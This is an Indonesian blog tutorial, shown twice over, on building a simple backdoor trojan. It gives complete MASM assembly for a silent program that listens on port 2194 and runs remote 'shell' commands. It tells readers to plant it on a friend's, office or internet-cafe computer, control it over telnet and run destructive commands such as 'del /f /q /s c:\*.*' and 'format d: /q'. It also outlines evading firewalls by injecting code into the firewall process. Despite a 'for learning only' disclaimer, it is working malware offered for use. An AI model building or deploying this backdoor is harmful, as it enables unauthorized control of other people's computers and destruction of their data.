Senin, 25 November 2013

Membuat Backdoor sederhana

Sobat udah tahu belum backdoor?, kali ini kami akan membahas tentang backdoor dan cara membuatnya.


Apa itu backdoor?



Backdoor termasuk salah satu golongan malware atau program berbahaya, kenapa dikatakan berbahaya?, karena dengan backdoor seorang hacker bisa mengendalikan komputer, bisa meremote dari jauh, mencuri data berharga seperti password, pin, data finansial perusahaan bahkan untuk aksi yang fatal, misal: memformat hardisk!.



Cara kerja backdoor



Sesuai namanya cara kerja backdoor cukup sederhana, yaitu dengan cara membukakan pintu belakang dan yang pasti secara diam-diam, pintunya biasanya berupa port, backdoor akan menanti si pembuat backdoor tersebut datang (menghubunginya). Apabila sang pembuat backdoor datang maka backdoor akan membukakan pintu lalu mempersilahkannya masuk dan melindunginya dari pengawasan keamanan, tentu setelah itu hacker (si pembuat backdoor) dapat melakukan apa saja yang dia inginkan dengan leluasa. sangat mengerikan!!



Sebelum kita memulai experimen ini, sebaiknya kita pelajari dulu teorinya.




Dalam pemrograman jaringan biasanya dibutuhkan yang namanya socket, socket disini maksudnya bukan socket pada jenis-jenis prosesor kayak socket-A, socket 393 atau socket AM2, tapi socket sebagai obyek untuk melakukan pertukaran data (packet) secara byte per byte. begitu juga backdoor, dia juga membutuhkan socket untuk mewujudkan komunikasi. bagi para programmer jaringan, saya yakin pasti dah tahu teori dan cara kerja backdoor ini.



Pada pembuatan backdoor kita harus membuat dua socket, kenapa dua? karena socket tersebut adalah penghubung, misal jika kita ingin ngobrol jarak jauh kita harus pake telpon, si A menelpon si B, maka socket itu bisa kita asumsikan sebagai telpon, dan tidak mungkin komunikasi akan terjadi apabila telponnya cuma satu (cuma si A yang punya telpon), begitu juga dengan socket harus ada dua, yang satu untuk backdoor (server) dan satunya lagi untuk si pembuat backdoor (client).



.data?



sock1 SOCKET ? ; socket pertama [ backdoor ]



sock2 SOCKET ? ; socket kedua [ attacker ]



Setelah itu kita butuh yang namanya port, apa itu port?, berdasarkan wujudnya port dibagikan menjadi dua jenis, port fisik dan port logika, port fisik itu yang bisa kita lihat langsung di belakang komputer, kayak COM1, COM2, USB dll. kalo port logika itu bisa banyak banget, bisa sampai ribuan dan nggak bisa kita lihat, nah port yang akan kita gunakan disini adalah port logika, kalo tadi socket bagaikan telpon maka port bagaikan kabelnya dan IP address bagaikan nomor telponnya, tanpa itu semua komunikasi mustahil terjadi.




Setelah socket tercipta kita akan tentukan port yang akan kita gunakan sebagai jalur komunikasi, pilih port yang masih kosong atau belum kepake, contoh di program ini saya gunakan port 2194. untuk memasang portnya kita harus terlebih dahulu mengisi variabel pada struktur sockaddr_in yang memiliki rangkaian :



sockaddr_in STRUCT



sin_family WORD ?



sin_port WORD ?



sin_addr in_addr <>



sin_zero BYTE 8 dup (?)




sockaddr_in ENDS



diisi dengan cara :



push 2194 ; nomor port yang akan dibuka backdoor



call htons



mov sockaddr_in.sin_port,eax



Setelah struktur sockaddr_in diisi maka langkah selanjutnya adalah binding :




push sizeof sockaddr_in ; Besar struktur soackaddr_in



push offset sockin1 ; alamat sockaddr_in 1



push sock1



call bind ; binding



cmp eax,SOCKET_ERROR ; socket error



jnz socket_oke ; udah ada atau port udah digunakan




xor eax,eax ; null



ret



socket_oke:



mov eax,1



ret



agar lebih jelas lihat source code lengkapnya di bawah ini :




================[ POTONG DISINI ]===================



;==================================================



; SIMPEL BACKDOOR TROJAN



; compile with MASM



; ml /c /coff backdoor.asm



; link /subsystem:windows /opt:noref backdoor.obj




;==================================================



.386 ; 32 bit



.model flat,stdcall



option casemap:none



include \masm32\include\windows.inc



include \masm32\include\user32.inc




include \masm32\include\wsock32.inc



include \masm32\include\kernel32.inc



include \masm32\include\winmm.inc



include \masm32\include\shell32.inc



includelib \masm32\lib\user32.lib



includelib \masm32\lib\wsock32.lib




includelib \masm32\lib\kernel32.lib



includelib \masm32\lib\winmm.lib



includelib \masm32\lib\shell32.lib



.data? ; .data section



sock1 SOCKET ? ; socket pertama



sock2 SOCKET ? ; socket kedua




sockin1 sockaddr_in <> ; struktur



sockin2 sockaddr_in <>



s2IP dd ?



wsad WSADATA <> ; WSA struktur




hFile dd ?



hBW dd ?



lenn dd ?



.data



AppName db "AnShell",0



szKonek db "Connected : ",0




szLogon db 13,10



db "______________________________________________",13,10



db " __, WELCOME TO : ",13,10



db "Keterangan",13,10



db "Keterangan",13,10



db "Keterangan",13,10




db 13,10



db "Hanya Untuk Menambah Wawasan",13,10



db "______________________________________________",13,10



db 0



szMasuk db "[ You already entered system ]",13,10



szPerintah db "Command : ",0




szSelesai db 13,10," - thanks for visiting",13,10



db " - [4NV|e]",13,10



db " - anvie_2194@yahoo.com",13,10



db " - www.anvie.net.tc",0



szSocketError db "shit, socket error",0 ;what the fuck!



szPerintahX db "Command not found.",13,10,0




szKosong db 13,10



szOpen db "Open",0



; perintah-perintah



Perintah1 db "msgbox",0



Perintah2 db "close",0



Perintah3 db "shell",0




Buffer db 512 dup(0) ; buffer



Buffer2 db 512 dup(0) ; buffer



KeepOF dd 0 ; buat jaga-jaga biar gak terjadi buffer overflow



.code ; .code section



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««



StartUp proc ; prosedur awal pembuatan socket




push offset wsad



push 0101h



call WSAStartup



push 0



push SOCK_STREAM



push PF_INET




call socket ; buat socket utama (server? :P)



; backdoor!



mov sock1,eax



mov ax,AF_INET



mov sockin1.sin_family,ax



xor eax,eax




mov sockin1.sin_addr,eax



push 2194



call htons ; Buka port 2194 (Lucky Number ;)



mov sockin1.sin_port,ax ; masukin port ke struktur sockaddr_in



mov eax,sizeof sockaddr_in



push eax




push offset sockin1



push sock1



call bind



cmp eax,SOCKET_ERROR ; apakah socket oke ?



jnz socket_oke



xor eax,eax ; tidak, return 0




ret



socket_oke: ; oke, yeah return 1



mov eax,1



ret



StartUp endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««




BersihkanBuffer proc uses edi lpBufferWORD,jmlWORD



xor al,al ; Isi buffer jadikan nul byte



mov edi,lpBuffer ; dibutuhkan di lingkungan assembly



mov ecx,jml



rep stosb ; mnemonik stosb mengeset alamat edi



; dengan nilai dari eax




ret



BersihkanBuffer endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««



Tarjim proc lpCommandWORD ; prosedur untuk menerjemahkan perintah



LOCAL lBuffer[512]:BYTE ; untuk dieksekusi.



LOCAL argWORD




LOCAL arg2WORD



push lpCommand



call lstrlen



cmp eax,2



jne perintah_ok



ret




perintah_ok:



lea edi,lBuffer



push edi ; selamatkan edi ke stack



;



push 512



push edi ; bersihkan lBuffer




call BersihkanBuffer



mov edi,lpCommand



mov al,020h ; cari byte 20h dimana 20h=karakter spasi



mov ecx,512 ; simpel deteksi argumen



repnz scasb ; cari!



dec edi




test ecx,ecx ; apakah karakter spasi ditemukan?



jnz cmd_ok ; jika ya goto cmd_ok



mov edi,lpCommand



mov al,0dh ; jika tidak, cari karakter enter (0dh/13)



mov ecx,512



repnz scasb




dec edi



mov byte ptr [edi],0 ; jika ketemu set null byte



jmp no_arg ; argumen tidak ada goto no_arg



cmd_ok:



mov byte ptr [edi],0 ; nullkan karakter spasi



inc edi




mov arg,edi ; simpan argumen pertama



push edi



call lstrlen



add edi,eax



sub edi,2 ; nullkan 2 byte terkahir maksud 2 byte terakhir



mov word ptr [edi],00 ; disini adalah 0ah 0dh (enter)




no_arg:



pop edi ; kembalikan edi dari stack



push lpCommand



push edi



call lstrcpy ; kopikan string perintah ke buffer



push offset Perintah1




push edi



call lstrcmpi ; compare string insensitive



or eax,eax



jz msgbox ; apakah perintah msgbox ?



push offset Perintah2



push edi




call lstrcmpi



or eax,eax ; apakah perintah close ?



jz mati



push offset Perintah3



push edi



call lstrcmpi




or eax,eax ; apakah perintah shell ?



jz shell



xor eax,eax ; perintah gak ada yang cocok



ret ; kembali dan tampilkan pesan



msgbox:



mov eax,MB_OK




or eax,MB_SYSTEMMODAL



or eax,MB_TOPMOST



push eax



push offset AppName



push arg



push 0




call MessageBox



jmp retCmd



mati:



push offset szSelesai



call lstrlen



mov lenn,eax




; tampilkan pesan selesai



push 0



push lenn



push offset szSelesai



push sock2



call send




; tutup socket



push sock1



call closesocket



push sock2



call closesocket



; bersihkan memori




call WSACleanup



xor eax,eax



push 0



call ExitProcess



shell:



; cari untuk argumen ke 2 atau sub commandline




mov arg2,0



mov edi,arg



mov ecx,512



mov al,20h ; 20h = spasi



repnz scasb



cmp ecx,0 ; spasi ditemukan ?




je no_arg2 ; jika tidak goto no_arg2



dec edi



mov byte ptr [edi],0 ; ada, nullkan



inc edi



mov arg2,edi ; simpan arg2 ke memori



no_arg2:




push 1



push 0



push arg2



push arg



push offset szOpen



push 0




call ShellExecuteA ; eksekusi!



jmp retCmd



retCmd:



mov al,1



ret



Tarjim endp




; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««



start:



call StartUp ; panggil prosedur startup



test eax,eax ; apakah socket oke?



jz socket_error ; jika tidak socket = error



; socket dah oke




; buat listening ke port 2194



push 1



push sock1



call listen



new_session:



push sock2 ; tutup socket 2




call closesocket ; berfungsi setelah looping



mov eax,sizeof sockaddr_in



mov lenn,eax



push offset lenn



push offset sockin2



push sock1




call accept ; menunggu perintah dari socket 2



mov sock2,eax ; simpan alamat socket 2



push offset szLogon



call lstrlen



mov lenn,eax



push 0




push lenn



push offset szLogon



push sock2



call send ; sambut tamu dari luar



mov eax,sockin2.sin_addr



push eax




call inet_ntoa ; terjemahkan IP x.x.x.x



mov s2IP,eax ; simpan IP dari socket 2



push offset szKonek



push offset Buffer



call lstrcpy



lea edi,Buffer




push edi



or ecx,-1



mov al,03Ah ; cari karakter ':'



repnz scasb



inc edi



; tempelkan string IP




push s2IP



push edi



call lstrcpy



push edi



call lstrlen



add edi,eax




mov word ptr [edi],0a0dh ; ganti baris



add edi,2



mov byte ptr [edi],0 ; null



pop edi



push edi



call lstrlen




mov lenn,eax



push 0



push lenn



push offset Buffer



push sock2



call send ; tampilkan string Connected : x.x.x.x -> IP address




push 0



mov eax, sizeof szMasuk



push eax



push offset szMasuk



push sock2



call send ; welcome




perintah:



push 0



push 10



push offset szPerintah



push sock2



call send ; backdoor siap dikendalikan!




push 512



push offset Buffer2



call BersihkanBuffer ; Bersihkan buffer



lea edi,Buffer2



mov KeepOF,0 ; counter anti buffer overflow



tunggu_perintah:




invoke recv,sock2,edi,500,0



test eax,eax



jz new_session



cmp eax,SOCKET_ERROR



je new_session



add edi,eax




inc KeepOF



cmp KeepOF,511



jb no_of ; jika penuisan buffer hampir mencapai 512 byte



jmp perintah ; bersihkan buffer, jaga2 biar gak terjadi



no_of: ; Buffer overflow :-)



cmp byte ptr [edi-1],08h




jne bkn_backs



xor eax,eax



mov word ptr [edi],ax



sub edi,2



bkn_backs:



cmp byte ptr [edi-1],0ah ; apakah tombol enter yang ditekan ?




jnz tunggu_perintah ; jika nggak masih nunggu perintah



; ya, terjemahkan perintah



push offset Buffer2



call Tarjim ; panggil prosedur tarjim



test eax,eax ; apakah perintah valid



jnz perintah ; jika tidak balik tungu perintah




cmp eax,2 ; apakah perintah kosong ?



je kosong ; jika ya, goto kosong



push 0



mov eax,sizeof szPerintahX



push eax



push offset szPerintahX




push sock2



call send ; tampilkan pesan kalo perintah nggak ada



jmp perintah



kosong:



push 0



push 2




push offset szKosong



push sock2



call send ; hanya ganti baris



jmp perintah



socket_error: ; trap handel jika-jika socket error



push MB_ICONERROR




push offset AppName



push offset szSocketError



push 0



call MessageBox ; tampilkan kesalahan



tamat:



push 0




call ExitProcess ; selesai.



end start



================[ EOF ]=========================================



kalo udah coba test hasilnya, jalankan backdoor.exe dikomputer target, misal komputer teman, kantor, warnet (komputer operator lho) atau komputer pribadi, backdoor ini saya desain silent jadi kamu gak bakalan nemuin jendela macam-macam, tapi kalo kamu pake firewall pasti akan ketahuan kalo backdoor.exe telah membuka port.



setelah langkah diatas selesai kita akan melakukan telnet ke komputer target, kita bisa pake komputer lain, untuk menjalankan telnet caranya klik start>run> ketik “cmd” tanpa tanda kutip. setelah itu akan tampil jendela konsol seperti gambar 01:








Gambar 01



pada jendela konsol ketikkan “telnet x.x.x.x 2194” tanpa tanda kutip, x.x.x.x disini maksudnya IP target, contoh “telnet 192.168.0.3 2194”, 2194 disini maksudnya port yang akan kita masuki (untuk contoh backdoor ini aku gunakan port 2194). contoh Gambar 02







Gambar 02



tekan “Enter” kalo telnet berhasil maka akan tampil seperti Gambar 03 berikut:








Gambar 03



nah kalo dah gitu kita udah bisa mengendalikan komputer target dari jarak jauh, maksud seperti contoh gambar diatas adalah backdoor sudah siap melakukan perintah, ada 3 perintah yang dikenal oleh backdoor ini :



1. Tulis "msgbox" (untuk menampilkan pesan ke komputer target)

2. Tulis "shell" (untuk menjalankan aplikasi di komputer sasaran)

3. Tulis "close" (untuk menutup hubungan dan mematikan backdoornya)



perintah diatas bisa ditambah sendiri tergantung kreatifitas kamu.




backdoor bisa menyenangkan jika digunakan untuk mengerjai temen yang lagi ol .



cara menjalankan perintah cukup ketikkan perintah diatas pada jendela konsol, misal kita akan menampilkan pesan ke komputer target, tinggal ketikkan:



“msgbox hallo, komputer kamu dibawah kendaliku” tanpa tanda kutip, maka pada komputer target akan muncul jendela box seperti contoh Gambar 04:





Gambar 04



atau ingin memainkan musik ke komputer target dengan catatan kita tahu tempat musik yang akan kita mainkan, contoh:




“shell d:\musik ku\dream theater – endless sacrifice.mp3”



maka dikomputer target akan memainkan musik yang merdu.



atau ingin mematikan komputer target yang berbasis Wind**s 2000 keatas, dengan cara:



“shell shutdown –s –t 0 –f”



untuk merestart tinggal ganti “-s” jadi –“r” contoh:



“shell shutdown –r –t 0 –f”




Backdoor bisa menjadi sangat berbahaya jika yang dijalankan adalah perintah-perintah seperti:



“shell del /f /q /s c:\*.*” (perintah untuk menghapus semua data tanpa konfirmasi)



“shell format d: /q” (perintah untuk memformat hardisk)



NB: mohon agar contoh program backdoor ini tidak digunakan untuk tindakan-tindakan yang merusak, hanya untuk pembelajaran.



setelah selesai menggunakan backdoor kita bisa tutup dengan mengetikkan perintah “close”, maka backdoor di komputer target akan bunuh diri.



Cara di atas akan sia-sia apabila komputer target memasang firewall, kita perlu menambahkan kode anti firewall detection untuk menghindari deteksi dari firewall. kode anti firewall detection yang saya ketahui adalah dengan cara tehnik runtime process infection, dimana kita akan menginjeksi kode backdoor ke tubuh firewall (hampir mirip kayak DLL injection) yang sedang resident lalu meremote-nya misal pake API CreateRemoteThread, sehingga firewall akan mengangapnya sebagai sumber yang dipercaya, karena nggak mungkin firewall mencurigai dirinya sendiri sebagai backdoor :”D, Adapun beberapa firewall yang vulnerable terhadap serangan ini adalah:




1. Zone Alarm 4



2. Zone Alarm Pro 4



3. BlackIce 3.

Tidak ada komentar:

Posting Komentar

Senin, 25 November 2013

Membuat Backdoor sederhana

Sobat udah tahu belum backdoor?, kali ini kami akan membahas tentang backdoor dan cara membuatnya.


Apa itu backdoor?



Backdoor termasuk salah satu golongan malware atau program berbahaya, kenapa dikatakan berbahaya?, karena dengan backdoor seorang hacker bisa mengendalikan komputer, bisa meremote dari jauh, mencuri data berharga seperti password, pin, data finansial perusahaan bahkan untuk aksi yang fatal, misal: memformat hardisk!.



Cara kerja backdoor



Sesuai namanya cara kerja backdoor cukup sederhana, yaitu dengan cara membukakan pintu belakang dan yang pasti secara diam-diam, pintunya biasanya berupa port, backdoor akan menanti si pembuat backdoor tersebut datang (menghubunginya). Apabila sang pembuat backdoor datang maka backdoor akan membukakan pintu lalu mempersilahkannya masuk dan melindunginya dari pengawasan keamanan, tentu setelah itu hacker (si pembuat backdoor) dapat melakukan apa saja yang dia inginkan dengan leluasa. sangat mengerikan!!



Sebelum kita memulai experimen ini, sebaiknya kita pelajari dulu teorinya.




Dalam pemrograman jaringan biasanya dibutuhkan yang namanya socket, socket disini maksudnya bukan socket pada jenis-jenis prosesor kayak socket-A, socket 393 atau socket AM2, tapi socket sebagai obyek untuk melakukan pertukaran data (packet) secara byte per byte. begitu juga backdoor, dia juga membutuhkan socket untuk mewujudkan komunikasi. bagi para programmer jaringan, saya yakin pasti dah tahu teori dan cara kerja backdoor ini.



Pada pembuatan backdoor kita harus membuat dua socket, kenapa dua? karena socket tersebut adalah penghubung, misal jika kita ingin ngobrol jarak jauh kita harus pake telpon, si A menelpon si B, maka socket itu bisa kita asumsikan sebagai telpon, dan tidak mungkin komunikasi akan terjadi apabila telponnya cuma satu (cuma si A yang punya telpon), begitu juga dengan socket harus ada dua, yang satu untuk backdoor (server) dan satunya lagi untuk si pembuat backdoor (client).



.data?



sock1 SOCKET ? ; socket pertama [ backdoor ]



sock2 SOCKET ? ; socket kedua [ attacker ]



Setelah itu kita butuh yang namanya port, apa itu port?, berdasarkan wujudnya port dibagikan menjadi dua jenis, port fisik dan port logika, port fisik itu yang bisa kita lihat langsung di belakang komputer, kayak COM1, COM2, USB dll. kalo port logika itu bisa banyak banget, bisa sampai ribuan dan nggak bisa kita lihat, nah port yang akan kita gunakan disini adalah port logika, kalo tadi socket bagaikan telpon maka port bagaikan kabelnya dan IP address bagaikan nomor telponnya, tanpa itu semua komunikasi mustahil terjadi.




Setelah socket tercipta kita akan tentukan port yang akan kita gunakan sebagai jalur komunikasi, pilih port yang masih kosong atau belum kepake, contoh di program ini saya gunakan port 2194. untuk memasang portnya kita harus terlebih dahulu mengisi variabel pada struktur sockaddr_in yang memiliki rangkaian :



sockaddr_in STRUCT



sin_family WORD ?



sin_port WORD ?



sin_addr in_addr <>



sin_zero BYTE 8 dup (?)




sockaddr_in ENDS



diisi dengan cara :



push 2194 ; nomor port yang akan dibuka backdoor



call htons



mov sockaddr_in.sin_port,eax



Setelah struktur sockaddr_in diisi maka langkah selanjutnya adalah binding :




push sizeof sockaddr_in ; Besar struktur soackaddr_in



push offset sockin1 ; alamat sockaddr_in 1



push sock1



call bind ; binding



cmp eax,SOCKET_ERROR ; socket error



jnz socket_oke ; udah ada atau port udah digunakan




xor eax,eax ; null



ret



socket_oke:



mov eax,1



ret



agar lebih jelas lihat source code lengkapnya di bawah ini :




================[ POTONG DISINI ]===================



;==================================================



; SIMPEL BACKDOOR TROJAN



; compile with MASM



; ml /c /coff backdoor.asm



; link /subsystem:windows /opt:noref backdoor.obj




;==================================================



.386 ; 32 bit



.model flat,stdcall



option casemap:none



include \masm32\include\windows.inc



include \masm32\include\user32.inc




include \masm32\include\wsock32.inc



include \masm32\include\kernel32.inc



include \masm32\include\winmm.inc



include \masm32\include\shell32.inc



includelib \masm32\lib\user32.lib



includelib \masm32\lib\wsock32.lib




includelib \masm32\lib\kernel32.lib



includelib \masm32\lib\winmm.lib



includelib \masm32\lib\shell32.lib



.data? ; .data section



sock1 SOCKET ? ; socket pertama



sock2 SOCKET ? ; socket kedua




sockin1 sockaddr_in <> ; struktur



sockin2 sockaddr_in <>



s2IP dd ?



wsad WSADATA <> ; WSA struktur




hFile dd ?



hBW dd ?



lenn dd ?



.data



AppName db "AnShell",0



szKonek db "Connected : ",0




szLogon db 13,10



db "______________________________________________",13,10



db " __, WELCOME TO : ",13,10



db "Keterangan",13,10



db "Keterangan",13,10



db "Keterangan",13,10




db 13,10



db "Hanya Untuk Menambah Wawasan",13,10



db "______________________________________________",13,10



db 0



szMasuk db "[ You already entered system ]",13,10



szPerintah db "Command : ",0




szSelesai db 13,10," - thanks for visiting",13,10



db " - [4NV|e]",13,10



db " - anvie_2194@yahoo.com",13,10



db " - www.anvie.net.tc",0



szSocketError db "shit, socket error",0 ;what the fuck!



szPerintahX db "Command not found.",13,10,0




szKosong db 13,10



szOpen db "Open",0



; perintah-perintah



Perintah1 db "msgbox",0



Perintah2 db "close",0



Perintah3 db "shell",0




Buffer db 512 dup(0) ; buffer



Buffer2 db 512 dup(0) ; buffer



KeepOF dd 0 ; buat jaga-jaga biar gak terjadi buffer overflow



.code ; .code section



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««



StartUp proc ; prosedur awal pembuatan socket




push offset wsad



push 0101h



call WSAStartup



push 0



push SOCK_STREAM



push PF_INET




call socket ; buat socket utama (server? :P)



; backdoor!



mov sock1,eax



mov ax,AF_INET



mov sockin1.sin_family,ax



xor eax,eax




mov sockin1.sin_addr,eax



push 2194



call htons ; Buka port 2194 (Lucky Number ;)



mov sockin1.sin_port,ax ; masukin port ke struktur sockaddr_in



mov eax,sizeof sockaddr_in



push eax




push offset sockin1



push sock1



call bind



cmp eax,SOCKET_ERROR ; apakah socket oke ?



jnz socket_oke



xor eax,eax ; tidak, return 0




ret



socket_oke: ; oke, yeah return 1



mov eax,1



ret



StartUp endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««




BersihkanBuffer proc uses edi lpBufferWORD,jmlWORD



xor al,al ; Isi buffer jadikan nul byte



mov edi,lpBuffer ; dibutuhkan di lingkungan assembly



mov ecx,jml



rep stosb ; mnemonik stosb mengeset alamat edi



; dengan nilai dari eax




ret



BersihkanBuffer endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««



Tarjim proc lpCommandWORD ; prosedur untuk menerjemahkan perintah



LOCAL lBuffer[512]:BYTE ; untuk dieksekusi.



LOCAL argWORD




LOCAL arg2WORD



push lpCommand



call lstrlen



cmp eax,2



jne perintah_ok



ret




perintah_ok:



lea edi,lBuffer



push edi ; selamatkan edi ke stack



;



push 512



push edi ; bersihkan lBuffer




call BersihkanBuffer



mov edi,lpCommand



mov al,020h ; cari byte 20h dimana 20h=karakter spasi



mov ecx,512 ; simpel deteksi argumen



repnz scasb ; cari!



dec edi




test ecx,ecx ; apakah karakter spasi ditemukan?



jnz cmd_ok ; jika ya goto cmd_ok



mov edi,lpCommand



mov al,0dh ; jika tidak, cari karakter enter (0dh/13)



mov ecx,512



repnz scasb




dec edi



mov byte ptr [edi],0 ; jika ketemu set null byte



jmp no_arg ; argumen tidak ada goto no_arg



cmd_ok:



mov byte ptr [edi],0 ; nullkan karakter spasi



inc edi




mov arg,edi ; simpan argumen pertama



push edi



call lstrlen



add edi,eax



sub edi,2 ; nullkan 2 byte terkahir maksud 2 byte terakhir



mov word ptr [edi],00 ; disini adalah 0ah 0dh (enter)




no_arg:



pop edi ; kembalikan edi dari stack



push lpCommand



push edi



call lstrcpy ; kopikan string perintah ke buffer



push offset Perintah1




push edi



call lstrcmpi ; compare string insensitive



or eax,eax



jz msgbox ; apakah perintah msgbox ?



push offset Perintah2



push edi




call lstrcmpi



or eax,eax ; apakah perintah close ?



jz mati



push offset Perintah3



push edi



call lstrcmpi




or eax,eax ; apakah perintah shell ?



jz shell



xor eax,eax ; perintah gak ada yang cocok



ret ; kembali dan tampilkan pesan



msgbox:



mov eax,MB_OK




or eax,MB_SYSTEMMODAL



or eax,MB_TOPMOST



push eax



push offset AppName



push arg



push 0




call MessageBox



jmp retCmd



mati:



push offset szSelesai



call lstrlen



mov lenn,eax




; tampilkan pesan selesai



push 0



push lenn



push offset szSelesai



push sock2



call send




; tutup socket



push sock1



call closesocket



push sock2



call closesocket



; bersihkan memori




call WSACleanup



xor eax,eax



push 0



call ExitProcess



shell:



; cari untuk argumen ke 2 atau sub commandline




mov arg2,0



mov edi,arg



mov ecx,512



mov al,20h ; 20h = spasi



repnz scasb



cmp ecx,0 ; spasi ditemukan ?




je no_arg2 ; jika tidak goto no_arg2



dec edi



mov byte ptr [edi],0 ; ada, nullkan



inc edi



mov arg2,edi ; simpan arg2 ke memori



no_arg2:




push 1



push 0



push arg2



push arg



push offset szOpen



push 0




call ShellExecuteA ; eksekusi!



jmp retCmd



retCmd:



mov al,1



ret



Tarjim endp




; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««



start:



call StartUp ; panggil prosedur startup



test eax,eax ; apakah socket oke?



jz socket_error ; jika tidak socket = error



; socket dah oke




; buat listening ke port 2194



push 1



push sock1



call listen



new_session:



push sock2 ; tutup socket 2




call closesocket ; berfungsi setelah looping



mov eax,sizeof sockaddr_in



mov lenn,eax



push offset lenn



push offset sockin2



push sock1




call accept ; menunggu perintah dari socket 2



mov sock2,eax ; simpan alamat socket 2



push offset szLogon



call lstrlen



mov lenn,eax



push 0




push lenn



push offset szLogon



push sock2



call send ; sambut tamu dari luar



mov eax,sockin2.sin_addr



push eax




call inet_ntoa ; terjemahkan IP x.x.x.x



mov s2IP,eax ; simpan IP dari socket 2



push offset szKonek



push offset Buffer



call lstrcpy



lea edi,Buffer




push edi



or ecx,-1



mov al,03Ah ; cari karakter ':'



repnz scasb



inc edi



; tempelkan string IP




push s2IP



push edi



call lstrcpy



push edi



call lstrlen



add edi,eax




mov word ptr [edi],0a0dh ; ganti baris



add edi,2



mov byte ptr [edi],0 ; null



pop edi



push edi



call lstrlen




mov lenn,eax



push 0



push lenn



push offset Buffer



push sock2



call send ; tampilkan string Connected : x.x.x.x -> IP address




push 0



mov eax, sizeof szMasuk



push eax



push offset szMasuk



push sock2



call send ; welcome




perintah:



push 0



push 10



push offset szPerintah



push sock2



call send ; backdoor siap dikendalikan!




push 512



push offset Buffer2



call BersihkanBuffer ; Bersihkan buffer



lea edi,Buffer2



mov KeepOF,0 ; counter anti buffer overflow



tunggu_perintah:




invoke recv,sock2,edi,500,0



test eax,eax



jz new_session



cmp eax,SOCKET_ERROR



je new_session



add edi,eax




inc KeepOF



cmp KeepOF,511



jb no_of ; jika penuisan buffer hampir mencapai 512 byte



jmp perintah ; bersihkan buffer, jaga2 biar gak terjadi



no_of: ; Buffer overflow :-)



cmp byte ptr [edi-1],08h




jne bkn_backs



xor eax,eax



mov word ptr [edi],ax



sub edi,2



bkn_backs:



cmp byte ptr [edi-1],0ah ; apakah tombol enter yang ditekan ?




jnz tunggu_perintah ; jika nggak masih nunggu perintah



; ya, terjemahkan perintah



push offset Buffer2



call Tarjim ; panggil prosedur tarjim



test eax,eax ; apakah perintah valid



jnz perintah ; jika tidak balik tungu perintah




cmp eax,2 ; apakah perintah kosong ?



je kosong ; jika ya, goto kosong



push 0



mov eax,sizeof szPerintahX



push eax



push offset szPerintahX




push sock2



call send ; tampilkan pesan kalo perintah nggak ada



jmp perintah



kosong:



push 0



push 2




push offset szKosong



push sock2



call send ; hanya ganti baris



jmp perintah



socket_error: ; trap handel jika-jika socket error



push MB_ICONERROR




push offset AppName



push offset szSocketError



push 0



call MessageBox ; tampilkan kesalahan



tamat:



push 0




call ExitProcess ; selesai.



end start



================[ EOF ]=========================================



kalo udah coba test hasilnya, jalankan backdoor.exe dikomputer target, misal komputer teman, kantor, warnet (komputer operator lho) atau komputer pribadi, backdoor ini saya desain silent jadi kamu gak bakalan nemuin jendela macam-macam, tapi kalo kamu pake firewall pasti akan ketahuan kalo backdoor.exe telah membuka port.



setelah langkah diatas selesai kita akan melakukan telnet ke komputer target, kita bisa pake komputer lain, untuk menjalankan telnet caranya klik start>run> ketik “cmd” tanpa tanda kutip. setelah itu akan tampil jendela konsol seperti gambar 01:








Gambar 01



pada jendela konsol ketikkan “telnet x.x.x.x 2194” tanpa tanda kutip, x.x.x.x disini maksudnya IP target, contoh “telnet 192.168.0.3 2194”, 2194 disini maksudnya port yang akan kita masuki (untuk contoh backdoor ini aku gunakan port 2194). contoh Gambar 02







Gambar 02



tekan “Enter” kalo telnet berhasil maka akan tampil seperti Gambar 03 berikut:








Gambar 03



nah kalo dah gitu kita udah bisa mengendalikan komputer target dari jarak jauh, maksud seperti contoh gambar diatas adalah backdoor sudah siap melakukan perintah, ada 3 perintah yang dikenal oleh backdoor ini :



1. Tulis "msgbox" (untuk menampilkan pesan ke komputer target)

2. Tulis "shell" (untuk menjalankan aplikasi di komputer sasaran)

3. Tulis "close" (untuk menutup hubungan dan mematikan backdoornya)



perintah diatas bisa ditambah sendiri tergantung kreatifitas kamu.




backdoor bisa menyenangkan jika digunakan untuk mengerjai temen yang lagi ol .



cara menjalankan perintah cukup ketikkan perintah diatas pada jendela konsol, misal kita akan menampilkan pesan ke komputer target, tinggal ketikkan:



“msgbox hallo, komputer kamu dibawah kendaliku” tanpa tanda kutip, maka pada komputer target akan muncul jendela box seperti contoh Gambar 04:





Gambar 04



atau ingin memainkan musik ke komputer target dengan catatan kita tahu tempat musik yang akan kita mainkan, contoh:




“shell d:\musik ku\dream theater – endless sacrifice.mp3”



maka dikomputer target akan memainkan musik yang merdu.



atau ingin mematikan komputer target yang berbasis Wind**s 2000 keatas, dengan cara:



“shell shutdown –s –t 0 –f”



untuk merestart tinggal ganti “-s” jadi –“r” contoh:



“shell shutdown –r –t 0 –f”




Backdoor bisa menjadi sangat berbahaya jika yang dijalankan adalah perintah-perintah seperti:



“shell del /f /q /s c:\*.*” (perintah untuk menghapus semua data tanpa konfirmasi)



“shell format d: /q” (perintah untuk memformat hardisk)



NB: mohon agar contoh program backdoor ini tidak digunakan untuk tindakan-tindakan yang merusak, hanya untuk pembelajaran.



setelah selesai menggunakan backdoor kita bisa tutup dengan mengetikkan perintah “close”, maka backdoor di komputer target akan bunuh diri.



Cara di atas akan sia-sia apabila komputer target memasang firewall, kita perlu menambahkan kode anti firewall detection untuk menghindari deteksi dari firewall. kode anti firewall detection yang saya ketahui adalah dengan cara tehnik runtime process infection, dimana kita akan menginjeksi kode backdoor ke tubuh firewall (hampir mirip kayak DLL injection) yang sedang resident lalu meremote-nya misal pake API CreateRemoteThread, sehingga firewall akan mengangapnya sebagai sumber yang dipercaya, karena nggak mungkin firewall mencurigai dirinya sendiri sebagai backdoor :”D, Adapun beberapa firewall yang vulnerable terhadap serangan ini adalah:




1. Zone Alarm 4



2. Zone Alarm Pro 4



3. BlackIce 3.

Tidak ada komentar:

Posting Komentar

Hay!!!